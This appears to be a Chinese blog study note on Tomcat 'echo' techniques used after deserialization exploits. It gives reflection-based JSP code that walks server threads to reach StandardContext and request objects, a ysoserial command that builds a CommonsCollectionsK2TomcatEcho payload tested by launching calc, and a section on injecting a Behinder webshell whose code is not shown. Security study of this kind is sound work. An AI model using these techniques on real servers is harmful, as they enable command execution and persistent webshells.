Java Tomcat 中间件回显
前言:这篇文章作为中间件的回显的开头笔记,最一开始了解的回显就是有听说过中间件的回显,今天大概翻看了些文章,对于回显应该还是有很多方法的,就比如 写文件回显、dnslog、URLClassLoader抛出异常等等很多方式都可以实现回显的操作,这里的话就先了解Tomcat中间件的回显学习。
参考文章:https://xz.aliyun.com/t/9914
Tomcat 6/7/8/9全版本回显
这里在讲一个点(笔记里面想到啥就补上啥了),因为在shiro反序列化内存马的时候有提到如下方法来获取StandardContext的对象,但是只局限于Tomcat 8/9,这里顺便看了为什么局限于8/9的原因
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
验证Tomcat的相关的操作的时候,就没必要每次都写成类,然后通过web.xml配置相关路由来进行访问了,这里直接通过一个jsp文件来进行解析即可
<%
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
%>
首先先来调试下Tomcat8(Tomcat9)

可以看到能够直接从webappClassLoaderBase中来进行获取

接着再来看下Tomcat7,可以发现通过getResources方法返回的对象中并没有存在getContext方法,所以也就拿不到了

Tomcat678回显
自己这里就讲一种Tomcat全版本回显的方法,因为自己挑着看了好几篇,发现大家的方法都有很多,最后的话有一种方法是通过基于全局存储的方法来实现 回显Tomcat全版本的,所以这里就讲这种方法即可
知识点:
1、想要实现回显,那么我们肯定就需要拿到Tomcat中的request对象和response对象,这样才能拿到StandardContext对象对内容进行控制,从而来回显自己想要的内容
2、除了request对象来获取StandardContext,如果拿到了StandardEngine和StandardHost同样也可以拿到StandardContext
获取request对象的过程如下
currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> global -> for(processors) -> request
这边可以先打印下
<%
java.lang.ThreadGroup threadGroup = (java.lang.ThreadGroup)Thread.currentThread().getThreadGroup();
System.out.println(threadGroup);
%>

接着可以打印来看下threadGroup对象中的threads中的对象
<%
java.lang.ThreadGroup threadGroup = (java.lang.ThreadGroup)Thread.currentThread().getThreadGroup();
Field threadField = threadGroup.getClass().getDeclaredField("threads");
threadField.setAccessible(true);
Thread[] threads = (Thread[])threadField.get(threadGroup);
for (Thread thread : threads) {
System.out.println(thread);
}
%>

这边继续看,这是一个thread数组,这里面有这么多的线程,那该如何选择,当前的目的就是想拿到request对象,这样才可以拿到StandardContext对象
通过currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> global -> for(processors) -> request,能够找到如下这个request对象

但是你可以看下这个request对象是哪个类中的,在D:\apache-tomcat-8.5.69\lib\tomcat-coyote.jar!\org\apache\coyote\Request.class
你看到这个request中是不存在StandardContext对象的,所以这里获取这个request也拿不到StandardContext对象
但是继续看其他的线程中有没有可以利用的,在Tomcat架构的Container组件中,StandardContext组件是存在于StandardHost对象,而StandardHost对象又存在于StandardEngine对象中,所以如果能获得StandardEngine或者是StandardHost,那么也同样可以获得StandardContext,这个也是一种方法。
其他的线程中存在StandardEngine对象,如下图所示

通过这个对象的target对象中的this$0对象可以拿到StandardEngine这个对象,如下图所示

这里继续去看下StandardEngine中是否存在StandardHost,如下图所示

继续在StandardHost对象中观察,是否存在StandardContext,如下图所示

那么拿到了StandardContext也就可以拿到了request对象,但是你会看到此时上面的Context对象两个,那么我们实际上需要的是Tomcat_Echo_Study_war_exploded,这里就可以通过第一次寻找的名为req的对象中来进行判断了
,它其中也有存储了相关请求的路径,那么如果这两个进行比较,存在包含关系,那么也就是我们要找的request对象了

但是你也会发现,它这里面也同样会存在两个request相关的对象,那么这里要如何判断呢?这里的话先看后面的Tomcat9

Tomcat678的StandardContext的获取过程:
Tomcat678:currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> proto -> adapter -> connector -> service -> container -> children(一个HashMap,get获取standardHost) -> standardHost -> children(一个HashMap,get获取standardContext)
Tomcat9回显
在Tomcat9中,线程数组里面没有StandardEngine这个线程了,如下图所示,环境为Tomcat9

Thread[http-nio-8080-ClientPoller,5,main] 没有变化,其中的req对象还是可以找到,所以这里就Engine不见了,其他的没有变化

这里可以通过Acceptor 线程对象来进行解决

Acceptor的target -> endpoint -> handler -> proto -> adapter -> connector -> service -> engine

Tomcat9的StandardContext的获取过程:
currentThread -> threadGroup -> for(threads) -> target-> *endpoint* -> handler-> proto -> adapter -> connector -> service -> *engine*
所以这里考虑到678和9的不同,最终给出的代码如下,我这里就大概过下,如果以后有兴趣的话自己再来跟下
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.core.StandardEngine"%>
<%@ page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>
<%
class Tomcat6789 {
String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}
/*
* 第一次先通过Thread[http-nio-8081-ClientPoller-1,5,main]中来进行寻找相关请求路径
* */
public Tomcat6789() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){
continue;
}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}
this.getStandardContext();
return;
}
}
}
/*
* 第二次通过Thread[ContainerBackgroundProcessor[StandardEngine[Catalina]],5,main]来获取Engine,再接着获取Host,然后Context,最后
* 通过第一次的请求路径来进行比较
* */
public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){ return; }
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
}
children = (HashMap) getField(engine, "children");
StandardHost standardHost = (StandardHost) children.get(this.serverName);
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
return;
}
}
}
}
public StandardContext getSTC(){
return this.standardContext;
}
}
%>
<%
Tomcat6789 a = new Tomcat6789();
System.out.println(a.getSTC());
%>

YSO命令执行回显
这里YSO参考的是:https://github.com/zema1/ysoserial ,它已经实现了相关的CC链来进行Tomcat回显的代码,获取的思路其实跟上面的代码一样的,只是写法不同
我这里依赖给的是commons-collections4,如下图所示
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

生成payload:>java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollectionsK2TomcatEcho a > tomcatEcho.txt
这边Tomcat模拟一个反序列化的场景,如下代码所示:

Testecho 测试,如下图所示

Testcmd calc 测试,如下图所示

冰蝎马回显注入
实战遇到了,所以还是得弄个冰蝎,这边进行记录,直接给代码了,实战测试没有问题
x

浙公网安备 33010602011771号